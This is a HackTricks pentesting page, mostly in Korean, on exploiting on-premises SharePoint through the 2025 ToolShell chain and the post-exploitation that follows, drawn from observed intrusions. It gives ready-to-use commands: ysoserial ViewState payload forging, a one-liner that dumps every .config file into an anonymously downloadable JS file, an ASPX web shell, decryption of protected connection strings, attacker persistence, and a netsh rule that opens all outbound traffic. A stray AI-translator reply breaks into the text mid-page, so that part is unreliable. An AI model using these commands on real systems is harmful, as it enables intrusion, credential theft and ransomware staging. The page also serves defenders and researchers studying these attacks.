Microsoft SharePoint – Pentesting & Exploitation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Microsoft SharePoint (on-premises)은 ASP.NET/IIS 위에 구축되어 있습니다. 따라서 대부분의 고전적인 웹 공격 표면(ViewState, Web.Config, web shells 등)은 존재하지만, SharePoint는 수백 개의 독점 ASPX 페이지와 웹 서비스도 포함하여 노출된 공격 표면을 크게 확장합니다. 이 페이지는 SharePoint 환경 내부에서 enumerate, exploit 및 persist하기 위한 실용적인 기법들을 모아두었으며, Unit42가 공개한 2025 exploit chain (CVE-2025-49704/49706/53770/53771)을 중점적으로 다룹니다.

1. 빠른 열거

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 익스플로잇 체인 (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> 은 페이지에 임의의 Server-Side Include 코드를 주입할 수 있게 하며, 이 코드는 이후 ASP.NET에 의해 컴파일됩니다. 공격자는 Process.Start()를 실행하는 C#을 임베드하고 악성 ViewState를 전송할 수 있습니다.

2.2 CVE-2025-49706 – Improper Authentication Bypass

같은 페이지는 사이트 컨텍스트를 결정하기 위해 X-Forms_BaseUrl 헤더를 신뢰합니다. 이를 /_layouts/15/로 지정하면 루트 사이트에서 적용되는 MFA/SSO를 unauthenticated 상태로 우회할 수 있습니다.

2.3 CVE-2025-53770 – 인증되지 않은 ViewState Deserialization → RCE

공격자가 ToolPane.aspx 내의 gadget을 제어하면 unsigned (또는 MAC-only) __VIEWSTATE 값을 전송하여 w3wp.exe 내부에서 .NET deserialization을 유발하고 코드 실행으로 이어질 수 있습니다.

서명이 활성화된 경우, 어떤 web.config에서든 ValidationKey/DecryptionKey를 탈취(2.4 참조)하고 ysoserial.net 또는 ysodom으로 페이로드를 위조합니다:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

정교하게 만든 Source 파라미터를 ToolPane.aspx에 전송하면(e.g. ../../../../web.config) 대상 파일이 반환되어 다음 항목의 leakage를 허용한다:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
  • connection strings & secrets.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point는 Ink Dragon이 Microsoft가 패치를 배포하기 수개월 전에 ToolShell 체인을 어떻게 운영했는지 맵핑했다:

  • Header spoofing for auth bypass – 공격자는 /_layouts/15/ToolPane.aspx로 POST를 전송하면서 Referer: https://<victim>/_layouts/15/와 위조된 X-Forms_BaseUrl를 함께 보낸다. 해당 헤더들은 SharePoint에게 요청이 신뢰된 layout에서 왔다고 판단하게 하며 front-door 인증을 완전히 우회시킨다 (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – 요청 본문에는 공격자가 제어하는 ViewState/ToolPart 데이터가 포함되어 취약한 서버측 formatter에 도달한다 (CVE-2025-49704/CVE-2025-53770). 페이로드는 보통 ysoserial.net 체인으로, w3wp.exe 내부에서 디스크에 쓰지 않고 실행된다.
  • Internet-scale scanning – 2025년 7월의 텔레메트리는 그들이 접근 가능한 모든 /_layouts/15/ToolPane.aspx 엔드포인트를 열거하고 leaked <machineKey> 쌍의 사전을 재생하고 있음을 보여준다. 문서에서 샘플 validationKey를 복사해 사용한 사이트는 다른 부분이 완전히 패치되어 있더라도 탈취될 수 있다 (서명 워크플로우는 ViewState 페이지 참조).
  • Immediate staging – 성공적인 익스플로잇은 로더나 PowerShell stager를 떨어뜨리며, 이는 (1) 모든 web.config를 덤프하고, (2) 비상 접근용 ASPX webshell을 심고, (3) IIS 워커에서 탈출하기 위한 로컬 Potato privesc를 예약한다.

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

결과물인 debug_dev.js는 익명으로 다운로드할 수 있으며 모든 민감한 설정을 포함하고 있습니다.

3.2 Base64-encoded ASPX web shell (variation-2) 배포

powershell.exe -EncodedCommand <base64>

디코딩된 페이로드 예시 (축약됨):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

I don’t see the file content to translate. Please paste the markdown/text from src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md (or specify the sections to translate), and I’ll translate it to Korean while preserving all tags, links, code and paths exactly.

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.

3.3 난독화 변형 (variation-3)

동일한 셸이지만:

  • 다음 경로에 배치됨: ...\15\TEMPLATE\LAYOUTS\
  • 변수 이름을 한 글자로 축소
  • 샌드박스 회피 및 타이밍 기반 AV 우회를 위해 Thread.Sleep(<ms>) 추가됨.

3.4 AK47C2 다중 프로토콜 백도어 & X2ANYLOCK ransomware (관찰된 시기 2025-2026)

최근 인시던트 대응 조사(Unit42 “Project AK47”)는 공격자들이 초기 RCE 이후 ToolShell 체인을 활용해 SharePoint 환경에 dual-channel C2 임플란트와 ransomware를 배포하는 방법을 보여준다:

AK47C2 – dnsclient 변형

  • 하드코딩된 DNS 서버: 10.7.66.10 — 권한 도메인 update.updatemicfosoft.com와 통신.
  • 메시지는 JSON 객체이며 static key VHBD@H로 XOR 암호화되고, hex 인코딩되어 sub-domain labels로 임베드됨.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • 긴 쿼리는 분할되어 s로 접두사 처리되며 서버 측에서 재조립됨.
  • 서버는 동일한 XOR/hex 스킴을 사용하는 TXT 레코드로 응답:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • 버전 202504은 간소화된 형식 <COMMAND>::<SESSION_KEY>와 청크 마커 1, 2, a를 도입함.

AK47C2 – httpclient 변형

  • 동일한 JSON & XOR 루틴을 재사용하지만 hex blob을 libcurlHTTP POST body(예: CURLOPT_POSTFIELDS)로 전송함.
  • 동일한 작업/결과 워크플로로 다음을 허용:
    • 임의의 셸 명령 실행.
    • 동적 sleep 간격 및 kill-switch 지시.

X2ANYLOCK ransomware

  • 64-bit C++ 페이로드가 DLL side-loading을 통해 로드됨(아래 참조).
  • 파일 데이터에 AES-CBC를 사용하고 AES 키를 랩핑하는 데 RSA-2048을 사용한 뒤 확장자 .x2anylock를 추가함.
  • 로컬 드라이브와 발견된 SMB 공유를 재귀적으로 암호화; 시스템 경로는 건너뜀.
  • 협상용 static Tox ID를 포함한 평문 노트 How to decrypt my data.txt를 남김.
  • 내부 kill-switch 포함:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. 공격자는 합법적인 7z.exe 옆에 dllhijacked.dll/My7zdllhijacked.dll를 생성.
  2. SharePoint가 생성한 w3wp.exe7z.exe를 실행하고, Windows 검색 순서 때문에 악성 DLL이 로드되어 메모리에서 ransomware 엔트리포인트를 호출함.
  3. 별도의 LockBit 로더(bbb.msiclink_x86.execlink_dll_x86.dll)가 쉘코드를 복호화하고 LockBit 3.0을 실행하기 위해 d3dl1.dllDLL hollowing을 수행함.

[!INFO] X2ANYLOCK에서 발견된 동일한 static Tox ID가 leaked LockBit databases에서도 나타나며, 제휴자(affiliate) 겹침을 시사함.

3.5 SharePoint loot를 이용한 lateral movement

  • Decrypt every protected section – 웹 티어에 자리 잡으면 aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (또는 -px "appSettings")를 악용해 <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider"> 뒤에 숨은 평문 비밀을 덤프하라. Ink Dragon은 이 방법으로 SQL 로그인, SMTP 릴레이 및 맞춤 서비스 자격 증명을 반복적으로 수집했다.
  • Recycle app-pool accounts across farms – 많은 기업들이 모든 프론트엔드에서 IIS APPPOOL\SharePoint에 같은 도메인 계정을 재사용한다. identity impersonate="..." 블록을 복호화하거나 ApplicationHost.config를 읽은 후 해당 자격증명을 SMB/RDP/WinRM을 통해 다른 서버에 대해 테스트하라. 여러 사례에서 해당 계정이 로컬 관리자이기도 했으며, 이는 psexec, sc create 또는 스케줄러 태스크를 통한 스테이징을 비밀번호 스프레이 없이 가능하게 했다.
  • Abuse leaked <machineKey> values internally – 인터넷 경계가 패치되어도 동일한 validationKey/decryptionKey를 재사용하면 서로 신뢰하는 내부 SharePoint 존 간에 lateral ViewState exploitation이 가능하다.

3.6 2025 침해에서 관찰된 지속성 패턴

  • Scheduled tasksSYSCHECK 같은(혹은 기타 상태 관련 이름) 일회성 태스크를 /ru SYSTEM /sc once /st <hh:mm>로 생성해 다음 단계 로더(대개 이름이 바뀐 conhost.exe)를 부트스트랩한다. 일회 실행이기 때문에 히스토리 태스크 XML이 보존되지 않으면 텔레메트리가 놓치기 쉽다.
  • Masqueraded servicesWindowsTempUpdate, WaaSMaintainer, MicrosoftTelemetryHost 같은 서비스를 sc create로 sideloading triad 디렉터리를 가리키도록 설치한다. 이 실행파일들은 원래의 AMD/Realtek/NVIDIA 서명을 유지하지만 Windows 구성 요소에 맞춰 이름이 바뀌어 있다; 디스크 상의 파일명과 PE의 OriginalFileName 필드를 비교하면 빠른 무결성 검사로 활용할 수 있다.

3.7 릴레이 트래픽을 위한 호스트 방화벽 다운그레이드

Ink Dragon은 정기적으로 Defender 유지관리로 위장한 허용형 아웃바운드 규칙을 추가하여 ShadowPad/FinalDraft 트래픽이 어떤 포트로든 외부로 나갈 수 있게 한다:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

이 규칙은 로컬에서 생성되었고 (GPO가 아니라) 정식 Defender 바이너리를 program=으로 사용하기 때문에 대부분의 SOC 기준은 이를 무시하지만, 그럼에도 Any ➜ Any 아웃바운드 통신을 허용합니다.


관련 트릭

  • IIS post-exploitation & web.config abuse:

IIS - Internet Information Services

참조

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기